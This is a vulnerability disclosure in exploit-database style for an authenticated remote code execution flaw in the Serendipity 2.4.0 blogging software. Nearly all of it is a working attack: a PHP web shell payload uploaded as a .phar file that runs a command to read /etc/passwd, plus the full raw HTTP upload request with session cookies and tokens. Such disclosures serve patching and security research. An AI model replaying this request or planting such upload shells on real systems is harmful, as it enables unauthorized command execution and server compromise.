Serendipity 2.4.0 – Remote Code Execution (RCE) (Authenticated)
Exploit Title: Serendipity 2.4.0 - Remote Code Execution (RCE) (Authenticated) Application: Serendipity Version: 2.4.0 Bugs: Remote Code Execution (RCE) (Authenticated) via file upload Technology: PHP Vendor URL: https://docs.s9y.org/ Software Link: https://docs.s9y.org/downloads.html Date of found: 13.04.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== If we load the poc.phar file in the image field while creating a category, we can run commands on the system. <?php echo system("cat /etc/passwd"); ?> I wrote a file with the above payload, a poc.phar extension, and uploaded it. Visit to http://localhost/serendipity/uploads/poc.phar poc request: POST /serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC HTTP/1.1 Host: localhost Content-Length: 1561 Cache-Control: max-age=0 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWKPiba66PSVGQzc User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect&serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=430b341df3f78f52691c8cf935fa04e1c05854df; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[hideSubdirFiles]=; serendipity[addmedia_directory]=; serendipity[sortorder_perpage]=8; serendipity[sortorder_order]=i.date; serendipity[sortorder_ordermode]=DESC; serendipity[filter][i.date][from]=; serendipity[filter][i.date][to]=; serendipity[filter][i.name]=; serendipity[imgThumbWidth]=400; serendipity[imgThumbHeight]=267; serendipity[imgWidth]=1000; serendipity[imgHeight]=667; serendipity[imgID]=1; serendipity[baseURL]=http%3A//localhost/serendipity/; serendipity[indexFile]=index.php; serendipity[imgName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.jpeg; serendipity[thumbName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.serendipityThumb.jpeg; serendipity[hotlink]=; serendipity[serendipity_htmltarget]=category_icon; serendipity[serendipity_filename_only]=true; serendipity[serendipity_linkThumbnail]=no; serendipity[]=Done; accessibletab_mediaupload_tabs_active=0; serendipity[filter][fileCategory]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b Connection: close ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[token]" ae9b8ae35a756c24f9552a021ee81d56 ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[action]" admin ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[adminModule]" media ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[adminAction]" add ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[userfile][1]"; filename="poc.phar" Content-Type: application/octet-stream <?php echo system("cat /etc/passwd");?> ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_filename][1]" poc.phar ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_directory][1]" ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[column_count][1]" true ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[imageurl]" ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[imageimporttype]" image ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_filename][]" ------WebKitFormBoundaryZWKPiba66PSVGQzc Content-Disposition: form-data; name="serendipity[target_directory][]" ------WebKitFormBoundaryZWKPiba66PSVGQzc-- poc video : https://youtu.be/_VrrKOTywgo |